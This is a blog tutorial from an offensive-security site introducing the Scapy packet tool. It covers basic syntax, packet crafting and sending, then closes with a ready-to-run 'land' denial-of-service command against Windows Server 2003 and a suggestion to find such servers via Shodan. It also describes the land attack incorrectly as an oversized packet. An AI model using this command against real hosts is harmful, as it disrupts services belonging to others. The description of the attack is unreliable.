Welcome back, my aspiring cyberwarriors!
We have explored a number of packet manipulation tools here on Hackers-Arise that can be very effective for network scanning, such as nmap and hping. As you know, almost any packet crafting/manipulation tool can also be used for DoSing (denial-of-service attacks). Given the power of creating just about any type of packet with any characteristics, we can likely find one that will take down nearly any host or network.
In this article, we will add a tool called Scapy to your arsenal of scanning and DoS-ing weapons. Scapy is a packet manipulation tool similar to nmap and hping, but unlike those tools, Scapy is almost infinitely customizable. This is not to say that nmap and hping are not customizable, but their ability to be customized is limited. They trade off ease-of-use for customization. Scapy, on the other hand, has almost no limits in your ability to customize it, but it does have a bit of a learning curve.
If you invest the time to understanding Scapy, you will be rewarded with a VERY powerful weapon.
Understanding TCP/IP
When using a tool like Scapy, nmap, hping, and others, it is critical you understand the structure of both the IP header and the TCP header. Without that fundamental knowledge of these protocols, it is trying to fly an F-16 into a war zone without basic and fundamental flight training. It is a powerful weapon and you might unleash a bomb or two, but you are likely to crash and burn as well.
In addition, you should be familiar with the TCP header and packet as well.
The better you understand the structure of these headers and packets, the better hacker you will be. Otherwise, you will be limited to being a script kiddie with some powerful tools, but without the knowledge to use them effectively.
Scapy is also very versatile. It can be customized to do ARP spoofing, ARP cache poisoning, packet sniffing and analysis like tcpdump and Wireshark, injecting 802.1 frames like aireplay-ng, and decoding VoIP like Cain and Abel. It is written in Python by Philipe Biondi and is capable of crafting packets as well as decoding packets. Its syntax is a bit obscure, but its power makes it worth investing your time to learn.
In this article, I'll try to introduce you first to Scapy's syntax and then we will use it for a simple DoS attack.
Step 1: Fire Up Kali & Run Scapy
Let's fire up Kali, open a terminal and type:
kali > scapy
When we do so, we will greeted with screen that looks like that above. Notice the ">>>" prompt. This indicates that Scapy is in interactive mode. All commands after this will be Scapy commands and will be interpreted by the Scapy interpreter.
Step 2: View the Scapy Configuration File
Now that we are in the Scapy interpreter, let's type:
>>> conf
As you can see in the screenshot above, Scapy reveals its configuration file when we type "conf" in. In a later tutorial, we will work with this configuration file in Scapy, but for now, I just want you to know where it resides.
Step 3: Create a Packet
The beauty of Scapy is its ability to custom build any packet you can imagine. Generally, the TCP/IP stack of your OS will build a RFC-compliant packet whenever you want to communicate over the Internet. As a hacker, we often want to create a custom/unique packet that may not be RFC-compliant for the purposes of gathering information on our target (i.e., scanning) or possibly creating a DoS condition by creating a packet that causes the target system to crash (land attack, ping of death, fragroute, etc.).
So, let's start by creating a simple IP packet. In Scapy, you first declare a variable that represents your packet and then define the packet attributes one by one. So, here we define our packet as "x" and then give x multiple attributes. Let's begin by defining "x" as an IP packet with a TTL of 64.
>>> x=IP(ttl=64)
>>> x
Notice that after I have created the variable x and defined it as an IP packet with a time to live (TTL) of 64, I then retyped the variable x and it responded with the value of x. In this case, IP time to live = 64.
Now, let's add some additional attributes to this variable x, such as a source and destination IP address. The syntax is similar to Wireshark or Tcpdump. We represent the source IP attribute with x.src and the destination IP attribute with x.dst followed by the value in double quotation marks (").
>>> x.src="192.168.1.101"
>>> x.dst="192.168.1.122"
Notice that after setting each value, I checked the value by simply retyping the variable followed by the attribute.
Now we have created a packet with the following attributes:
TTL=64
Source IP is 192.168.1.101
Destination IP is 192.168.1.122
We can check these by now typing the variable name, x, and Scapy will return our variable with its our attributes.
Step 4: Built-in Functions
Scapy has large number of built-in functions. We can list these functions by typing:
>>> lsc()
Since the list is too long to display in one screen, I have displayed the first of these functions above and the last of these functions below. Note, some functions did not fit on either screen.
Note the command "send" on the first line of the second screenshot of the functions. This is what we use when we want to send a packet. Let's use it to send the packet we created above called "x" that has the attributes of TTL=64, source IP address of 192.168.1.101, and a destination iP address of 192.168.1.122. Of course, when we send this packet, it will go to the destination IP address and will have a limit of 64 hops (TTL=64).
>>> send(x)
As you can see, our specially crafted packet x was sent to the destination IP address.
We can use Scapy to craft a packet with just about any value in any of the IP header or TCP header fields, such as window size, flags, fragmentation field, acknowledgement value, sequence number, etc.
Step 5: Create an Attack
I hope by now that you getting the idea that Scapy can be used to manipulate any of the fields in the TCP/IP packet. We will play with some of the other fields in a subsequent Scapy tutorial.
Now, let's use this capability to create a malicious packet and then send it to a target system. Windows Server 2003 (believe or not, there are still thousands of 2003 servers out there; check Shodan, Censys, or use Xprobe2 to find the operating system) is vulnerable to the "land" attack. This is a DoS attack that sends an oversized packet to the target with the same source and destination IP address and the same source and destination port. It doesn't always crash the system, but it will slow it down considerably. For web servers, slowing them down is effectively a DoS.
Let's create that land attack packet in Scapy. Scapy can take all of the attributes in a single command. So, let's create our "land" attack packet and send it 2,000 times. We can do this by typing:
>>> send(IP(src="192.168.1.122", dst="192.168.1.122")/TCP(sport=135,dport=135), count=2000)
Let's break down that command.
send is the command
IP defines the protocol for IP addresses
src="192.168.1.122" is the source IP address
dst="192.168.1.122" is the destination IP address
TCP defines the protocol for the ports
sport=135 defines the source port
dport=135 defines the destination port
count=2000 defines the number of packets we want to send
If these packets are directed at a Windows Server 2003, it can crash the system or at least slow it down dramatically. When a web server is slowed, it effectively DoSes the website.
Summary
Scapy is yet another powerful scanning and DoSing tool in our arsenal of tools. Scapy is incredibly versatile enabling us to do multiple tasks with this single tool. It has almost an unlimited ability to create packets with any characteristics you can imagine and thereby create a unique scanning technique and DoS attacks.
For more on using Scapy capabilities in cybersecurity, check out my tutorial on using Scapy and Python to create Wi-Fi Scanner!